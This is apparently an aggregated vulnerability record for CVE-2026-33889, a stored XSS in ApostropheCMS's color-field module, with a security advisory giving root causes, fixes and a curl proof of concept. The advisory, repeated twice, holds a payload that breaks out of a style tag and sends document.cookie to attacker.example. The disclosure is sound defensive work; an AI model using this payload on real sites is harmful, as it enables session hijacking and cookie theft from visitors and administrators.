{"id":"CVE-2026-33889","aliases":["EUVD-2026-23104","GHSA-97v6-998m-fp4g"],"status":"published","title":"ApostropheCMS: Stored XSS via CSS Custom Property Injection in `@apostrophecms/color-field` Escaping Style Tag Context","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into \u003cstyle\u003e tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00222,"percentile":0.12886,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-15T19:29:50Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"npm","package":"apostrophe","fixed_in":["4.29.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.29.0"}]}]},{"source":"osv","ecosystem":"npm","package":"apostrophe","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.29.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"apostrophecms"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-97v6-998m-fp4g","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/6a89bdb7acdb2e1e9bf1429961a6ba7f99410481","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33889","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-97v6-998m-fp4g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33889.json","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33889","title":"ApostropheCMS: Stored XSS via CSS Custom Property Injection in `@apostrophecms/color-field` Escaping Style Tag Context","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into \u003cstyle\u003e tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:29:50.899Z","modified":"2026-04-16T12:05:17.734Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-23104","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into \u003cstyle\u003e tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:29:50Z","modified":"2026-04-16T12:05:17Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:24.796113Z"}],"ghsa":[{"id":"GHSA-97v6-998m-fp4g","title":"ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context","description":"## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `\u003cstyle\u003e` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `\u003c/style\u003e` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n  destination[field.name] = self.apos.launder.string(data[field.name]);\n  // ...\n  const test = new TinyColor(destination[field.name]);\n  if (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n    destination[field.name] = null;\n  }\n},\n```\n\nA value like `--x: red}\u003c/style\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003cstyle\u003e` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `\u003c`, `\u003e`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `\u003cstyle\u003e` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  '\\n\u003c/style\u003e';\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n  return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"editor\",\"password\":\"editor123\"}'\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD='--x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e'\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\" \\\n  -d '{\n    \"slug\": \"/xss-test\",\n    \"title\": \"Test Page\",\n    \"type\": \"default-page\",\n    \"main\": {\n      \"items\": [{\n        \"type\": \"some-widget\",\n        \"styles\": {\n          \"backgroundColor\": \"'\"$PAYLOAD\"'\"\n        }\n      }]\n    }\n  }'\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 'onerror'\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n\u003cstyle data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\"\u003e\n.apos-widget-style-... { background-color: --x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e; }\n\u003c/style\u003e\n```\n\nThe injected `\u003c/style\u003e` closes the style tag, and the `\u003cimg onerror\u003e` executes JavaScript in the visitor's browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n  destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n  destination[field.name] = null;\n} else if (destination[field.name].startsWith('--')) {\n  // CSS custom property names: only allow alphanumeric, hyphens, underscores\n  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n    destination[field.name] = null;\n  }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  '\\n\u003c/style\u003e';\n\n// After:\nconst sanitizedCss = css.replace(/\u003c\\//g, '\u003c\\\\/');\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  sanitizedCss +\n  '\\n\u003c/style\u003e';\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).","status":"published","published":"2026-04-16T20:42:37Z","modified":"2026-04-16T20:42:39Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-33889","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into \u003cstyle\u003e tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T20:16:35.85Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:14.748836Z"}],"osv":[{"id":"CVE-2026-33889","title":"ApostropheCMS: Stored XSS via CSS Custom Property Injection in `@apostrophecms/color-field` Escaping Style Tag Context","description":"ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in the @apostrophecms/color-field module, where color values prefixed with -- bypass TinyColor validation intended for CSS custom properties, and the launder.string() call performs only type coercion without stripping HTML metacharacters. These unsanitized values are then concatenated directly into \u003cstyle\u003e tags both in per-widget style elements rendered for all visitors and in the global stylesheet rendered for editors, with the output marked as safe HTML. An editor can inject a value which closes the style tag and executes arbitrary JavaScript in the browser of every visitor to any page containing the affected widget. This enables mass session hijacking, cookie theft, and privilege escalation to administrative control if an admin views draft content. This issue has been fixed in version 4.29.0.","status":"published","published":"2026-04-15T19:29:50.899Z","modified":"2026-10-28T02:30:57.810640454Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-97v6-998m-fp4g","title":"ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context","description":"## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `\u003cstyle\u003e` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `\u003c/style\u003e` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n  destination[field.name] = self.apos.launder.string(data[field.name]);\n  // ...\n  const test = new TinyColor(destination[field.name]);\n  if (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n    destination[field.name] = null;\n  }\n},\n```\n\nA value like `--x: red}\u003c/style\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003cstyle\u003e` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `\u003c`, `\u003e`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `\u003cstyle\u003e` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  '\\n\u003c/style\u003e';\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n  return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"editor\",\"password\":\"editor123\"}'\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD='--x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e'\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\" \\\n  -d '{\n    \"slug\": \"/xss-test\",\n    \"title\": \"Test Page\",\n    \"type\": \"default-page\",\n    \"main\": {\n      \"items\": [{\n        \"type\": \"some-widget\",\n        \"styles\": {\n          \"backgroundColor\": \"'\"$PAYLOAD\"'\"\n        }\n      }]\n    }\n  }'\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n  \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n  -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 'onerror'\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n\u003cstyle data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\"\u003e\n.apos-widget-style-... { background-color: --x: red}\u003c/style\u003e\u003cimg src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"\u003e\u003cstyle\u003e; }\n\u003c/style\u003e\n```\n\nThe injected `\u003c/style\u003e` closes the style tag, and the `\u003cimg onerror\u003e` executes JavaScript in the visitor's browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n  destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid \u0026\u0026 !destination[field.name].startsWith('--')) {\n  destination[field.name] = null;\n} else if (destination[field.name].startsWith('--')) {\n  // CSS custom property names: only allow alphanumeric, hyphens, underscores\n  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n    destination[field.name] = null;\n  }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  css +\n  '\\n\u003c/style\u003e';\n\n// After:\nconst sanitizedCss = css.replace(/\u003c\\//g, '\u003c\\\\/');\nreturn `\u003cstyle data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\"\u003e\\n` +\n  sanitizedCss +\n  '\\n\u003c/style\u003e';\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).","status":"published","published":"2026-04-16T20:42:37Z","modified":"2026-04-16T21:11:29.515963Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.524801Z"}]}}